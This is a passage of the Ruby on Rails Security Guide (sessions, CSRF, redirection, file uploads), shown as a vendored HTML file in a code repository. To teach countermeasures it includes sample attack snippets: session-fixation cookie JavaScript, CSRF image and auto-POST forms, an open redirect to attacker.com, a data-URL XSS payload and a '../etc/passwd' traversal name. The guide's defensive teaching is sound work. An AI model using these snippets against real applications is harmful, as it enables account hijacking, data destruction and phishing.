deac/instiki
1
0
Fork 0
Code Issues Pull requests Releases Wiki Activity
instiki/vendor/rails/railties/doc/guides/html/security.html
Jacques Distler 4e14ccc74d Instiki 0.16.3: Rails 2.3.0 
Instiki now runs on the Rails 2.3.0 Candidate Release.
Among other improvements, this means that it now 
automagically selects between WEBrick and Mongrel.

Just run

    ./instiki --daemon
2009-02-04 14:26:08 -06:00

1154 lines
115 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Ruby On Rails Security Guide</title>
<!--[if lt IE 8]>
<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
<![endif]-->
<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
<div id="header" >
<div id="logo">
<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
</div>
<h1 id="site_title"><span>Ruby on Rails</span></h1>
<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
<ul id="navMain">
<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
</ul>
</div>
<div id="container">
<div id="sidebar">
<h2>Chapters</h2>
<ol>
<li>
<a href="#_introduction">Introduction</a>
</li>
<li>
<a href="#_sessions">Sessions</a>
<ul>
<li><a href="#_what_are_sessions">What are sessions?</a></li>
<li><a href="#_session_id">Session id</a></li>
<li><a href="#_session_hijacking">Session hijacking</a></li>
<li><a href="#_session_guidelines">Session guidelines</a></li>
<li><a href="#_session_storage">Session storage</a></li>
<li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li>
<li><a href="#_session_fixation">Session fixation</a></li>
<li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li>
<li><a href="#_session_expiry">Session expiry</a></li>
</ul>
</li>
<li>
<a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a>
<ul>
<li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li>
</ul>
</li>
<li>
<a href="#_redirection_and_files">Redirection and Files</a>
<ul>
<li><a href="#_redirection">Redirection</a></li>
<li><a href="#_file_uploads">File uploads</a></li>
<li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li>
<li><a href="#_file_downloads">File downloads</a></li>
</ul>
</li>
<li>
<a href="#_intranet_and_admin_security">Intranet and Admin security</a>
<ul>
<li><a href="#_additional_precautions">Additional precautions</a></li>
</ul>
</li>
<li>
<a href="#_mass_assignment">Mass assignment</a>
<ul>
<li><a href="#_countermeasures">Countermeasures</a></li>
</ul>
</li>
<li>
<a href="#_user_management">User management</a>
<ul>
<li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li>
<li><a href="#_account_hijacking">Account hijacking</a></li>
<li><a href="#_captchas">CAPTCHAs</a></li>
<li><a href="#_logging">Logging</a></li>
<li><a href="#_good_passwords">Good passwords</a></li>
<li><a href="#_regular_expressions">Regular expressions</a></li>
<li><a href="#_privilege_escalation">Privilege escalation</a></li>
</ul>
</li>
<li>
<a href="#_injection">Injection</a>
<ul>
<li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li>
<li><a href="#_sql_injection">SQL Injection</a></li>
<li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li>
<li><a href="#_css_injection">CSS Injection</a></li>
<li><a href="#_textile_injection">Textile Injection</a></li>
<li><a href="#_ajax_injection">Ajax Injection</a></li>
<li><a href="#_rjs_injection">RJS Injection</a></li>
<li><a href="#_command_line_injection">Command Line Injection</a></li>
<li><a href="#_header_injection">Header Injection</a></li>
</ul>
</li>
<li>
<a href="#_additional_resources">Additional resources</a>
</li>
<li>
<a href="#_changelog">Changelog</a>
</li>
</ol>
</div>
<div id="content">
<h1>Ruby On Rails Security Guide</h1>
<div id="preamble">
<div class="sectionbody">
<div class="paragraph"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
mail me, Heiko Webers, at 42 {<em>et</em>} rorsecurity.info. After reading it, you should be familiar with:</p></div>
<div class="ulist"><ul>
<li>
<p>
All countermeasures <span style="background-color: #fffcdb;">that are highlighted</span>
</p>
</li>
<li>
<p>
The concept of sessions in Rails, what to put in there and popular attack methods
</p>
</li>
<li>
<p>
How just visiting a site can be a security problem (with CSRF)
</p>
</li>
<li>
<p>
What you have to pay attention to when working with files or providing an administration interface
</p>
</li>
<li>
<p>
The Rails-specific mass assignment problem
</p>
</li>
<li>
<p>
How to manage users: Logging in and out and attack methods on all layers
</p>
</li>
<li>
<p>
And the most popular injection attack methods
</p>
</li>
</ul></div>
</div>
</div>
<h2 id="_introduction">1. Introduction</h2>
<div class="sectionbody">
<div class="paragraph"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
<div class="paragraph"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
<div class="paragraph"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
<div class="paragraph"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
<div class="paragraph"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
</div>
<h2 id="_sessions">2. Sessions</h2>
<div class="sectionbody">
<div class="paragraph"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
<h3 id="_what_are_sessions">2.1. What are sessions?</h3>
<div class="paragraph"><p>-- <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
<div class="paragraph"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p></div>
<div class="paragraph"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client&#8217;s browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>id
User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span></tt></pre></div></div>
<h3 id="_session_id">2.2. Session id</h3>
<div class="paragraph"><p>-- <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
<div class="paragraph"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
<h3 id="_session_hijacking">2.3. Session hijacking</h3>
<div class="paragraph"><p>-- <em>Stealing a user&#8217;s session id lets an attacker use the web application in the victim&#8217;s name.</em></p></div>
<div class="paragraph"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
<div class="paragraph"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
<div class="ulist"><ul>
<li>
<p>
Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <span style="background-color: #fffcdb;">provide a secure connection over SSL</span>.
</p>
</li>
<li>
<p>
Most people don&#8217;t clear out the cookies after working at a public terminal. So if the last user didn&#8217;t log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
</p>
</li>
<li>
<p>
Many cross-site scripting (XSS) exploits aim at obtaining the user&#8217;s cookie. You&#8217;ll read more about XSS later.
</p>
</li>
<li>
<p>
Instead of stealing a cookie unknown to the attacker, he fixes a user&#8217;s session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
</p>
</li>
</ul></div>
<div class="paragraph"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
<h3 id="_session_guidelines">2.4. Session guidelines</h3>
<div class="paragraph"><p>-- <em>Here are some general guidelines on sessions.</em></p></div>
<div class="ulist"><ul>
<li>
<p>
<span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won&#8217;t fill up your session storage space (depending on what session storage you chose, see below).
This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user&#8217;s cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
</p>
</li>
<li>
<p>
<span style="background-color: #fffcdb;">Critical data should not be stored in session</span>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
</p>
</li>
</ul></div>
<h3 id="_session_storage">2.5. Session storage</h3>
<div class="paragraph"><p>-- <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
<div class="paragraph"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
<div class="paragraph"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
<div class="ulist"><ul>
<li>
<p>
Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user&#8217;s database id in a session is usually ok</span>.
</p>
</li>
<li>
<p>
The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don&#8217;t want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
</p>
</li>
</ul></div>
<div class="paragraph"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don&#8217;t use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>config.action_controller.session = {
:key =&gt; ‘_app_session’,
:secret =&gt; ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
}</tt></pre>
</div></div>
<div class="paragraph"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
<h3 id="_replay_attacks_for_cookiestore_sessions">2.6. Replay attacks for CookieStore sessions</h3>
<div class="paragraph"><p>-- <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
<div class="paragraph"><p>It works like this:</p></div>
<div class="ulist"><ul>
<li>
<p>
A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we&#8217;ll do this for demonstration purposes).
</p>
</li>
<li>
<p>
The user buys something.
</p>
</li>
<li>
<p>
His new, lower credit will be stored in the session.
</p>
</li>
<li>
<p>
The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
</p>
</li>
<li>
<p>
The user has his credit back.
</p>
</li>
</ul></div>
<div class="paragraph"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
<div class="paragraph"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
<h3 id="_session_fixation">2.7. Session fixation</h3>
<div class="paragraph"><p>-- <em>Apart from stealing a user&#8217;s session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
<div class="imageblock">
<div class="content">
<img src="images/session_fixation.png" alt="Session fixation" title="Session fixation"/>
</div>
</div>
<div class="paragraph"><p>This attack focuses on fixing a user&#8217;s session id known to the attacker, and forcing the user&#8217;s browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
<div class="olist arabic"><ol class="arabic">
<li>
<p>
The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
</p>
</li>
<li>
<p>
He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
</p>
</li>
<li>
<p>
Now the attacker will force the user&#8217;s browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>
Read more about XSS and injection later on.
</p>
</li>
<li>
<p>
The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim&#8217;s browser will change the session id to the trap session id.
</p>
</li>
<li>
<p>
As the new trap session is unused, the web application will require the user to authenticate.
</p>
</li>
<li>
<p>
From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn&#8217;t notice the attack.
</p>
</li>
</ol></div>
<h3 id="_session_fixation_countermeasures">2.8. Session fixation – Countermeasures</h3>
<div class="paragraph"><p>-- <em>One line of code will protect you from session fixation.</em></p></div>
<div class="paragraph"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>reset_session</tt></pre></div></div>
<div class="paragraph"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
<div class="paragraph"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users will not be able to use your application, or only in a limited way.</p></div>
<h3 id="_session_expiry">2.9. Session expiry</h3>
<div class="paragraph"><p>-- <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
<div class="paragraph"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Session <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>sweep<span style="color: #990000">(</span>time_ago <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">)</span>

 time <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">case</span></span> time_ago

 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)m$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>minute

 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)h$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>hour

 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)d$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>day

 <span style="font-weight: bold"><span style="color: #0000FF">else</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>hour

 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>

 <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}'"</span>

 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>

<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="paragraph"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}' OR created_at &lt; '#{2.days.ago.to_s(:db)}'"</span></tt></pre></div></div>
</div>
<h2 id="_cross_site_reference_forgery_csrf">3. Cross-Site Reference Forgery (CSRF)</h2>
<div class="sectionbody">
<div class="paragraph"><p>-- <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
<div class="imageblock">
<div class="content">
<img src="images/csrf.png" alt="CSRF" title="CSRF"/>
</div>
</div>
<div class="paragraph"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let&#8217;s start with an example:</p></div>
<div class="ulist"><ul>
<li>
<p>
Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob&#8217;s project management application, rather than an image file.
</p>
</li>
<li>
<p>
<tt>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</tt>
</p>
</li>
<li>
<p>
Bob&#8217;s session at www.webapp.com is still alive, because he didn&#8217;t log out a few minutes ago.
</p>
</li>
<li>
<p>
By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
</p>
</li>
<li>
<p>
The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
</p>
</li>
<li>
<p>
Bob doesn&#8217;t notice the attack&#8201;&#8212;&#8201;but a few days later he finds out that project number one is gone.
</p>
</li>
</ul></div>
<div class="paragraph"><p>It is important to notice that the actual crafted image or link doesn&#8217;t necessarily have to be situated in the web application&#8217;s domain, it can be anywhere – in a forum, blog post or email.</p></div>
<div class="paragraph"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures)&#8201;&#8212;&#8201;less than 0.1% in 2006&#8201;&#8212;&#8201;but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
<h3 id="_csrf_countermeasures">3.1. CSRF Countermeasures</h3>
<div class="paragraph"><p>-- <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
<div class="paragraph"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
<div class="paragraph"><p><strong>Use GET if:</strong></p></div>
<div class="ulist"><ul>
<li>
<p>
The interaction is more <span style="background-color: #fffcdb;">like a question</span> (i.e., it is a safe operation such as a query, read operation, or lookup).
</p>
</li>
</ul></div>
<div class="paragraph"><p><strong>Use POST if:</strong></p></div>
<div class="ulist"><ul>
<li>
<p>
The interaction is more <span style="background-color: #fffcdb;">like an order</span>, or
</p>
</li>
<li>
<p>
The interaction <span style="background-color: #fffcdb;">changes the state</span> of the resource in a way that the user would perceive (e.g., a subscription to a service), or
</p>
</li>
<li>
<p>
The user is <span style="background-color: #fffcdb;">held accountable for the results</span> of the interaction.
</p>
</li>
</ul></div>
<div class="paragraph"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
<div class="paragraph"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>verify :method =&gt; :post, :only =&gt; [:transfer], :redirect_to =&gt; {:action =&gt; :list}</tt></pre>
</div></div>
<div class="paragraph"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
<div class="paragraph"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser&#8217;s status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;a</span></span> <span style="color: #009900">href</span><span style="color: #990000">=</span><span style="color: #FF0000">"http://www.harmless.com/"</span> <span style="color: #009900">onclick</span><span style="color: #990000">=</span><span style="color: #FF0000">"</span>
<span style="color: #FF0000"> var f = document.createElement('form');</span>
<span style="color: #FF0000"> f.style.display = 'none';</span>
<span style="color: #FF0000"> this.parentNode.appendChild(f);</span>
<span style="color: #FF0000"> f.method = 'POST';</span>
<span style="color: #FF0000"> f.action = 'http://www.example.com/account/destroy';</span>
<span style="color: #FF0000"> f.submit();</span>
<span style="color: #FF0000"> return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF">&lt;/a&gt;</span></span></tt></pre></div></div>
<div class="paragraph"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
<div class="paragraph"><p><tt>&lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /&gt;</tt></p></div>
<div class="paragraph"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
<div class="paragraph"><p><tt>protect_from_forgery :secret =&gt; "123456789012345678901234567890..."</tt></p></div>
<div class="paragraph"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won&#8217;t need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn&#8217;t match what was expected.</p></div>
<div class="paragraph"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
</div>
<h2 id="_redirection_and_files">4. Redirection and Files</h2>
<div class="sectionbody">
<div class="paragraph"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
<h3 id="_redirection">4.1. Redirection</h3>
<div class="paragraph"><p>-- <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
<div class="paragraph"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> legacy
redirect_to<span style="color: #990000">(</span>params<span style="color: #990000">.</span>update<span style="color: #990000">(:</span>action<span style="color: #990000">=&gt;</span><span style="color: #FF0000">'main'</span><span style="color: #990000">))</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="paragraph"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
<div class="paragraph"><p><tt>http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com</tt></p></div>
<div class="paragraph"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
<h4 id="_self_contained_xss">4.1.1. Self-contained XSS</h4>
<div class="paragraph"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
<div class="paragraph"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
<div class="paragraph"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
<h3 id="_file_uploads">4.2. File uploads</h3>
<div class="paragraph"><p>-- <em>Make sure file uploads don&#8217;t overwrite important files, and process media files asynchronously.</em></p></div>
<div class="paragraph"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
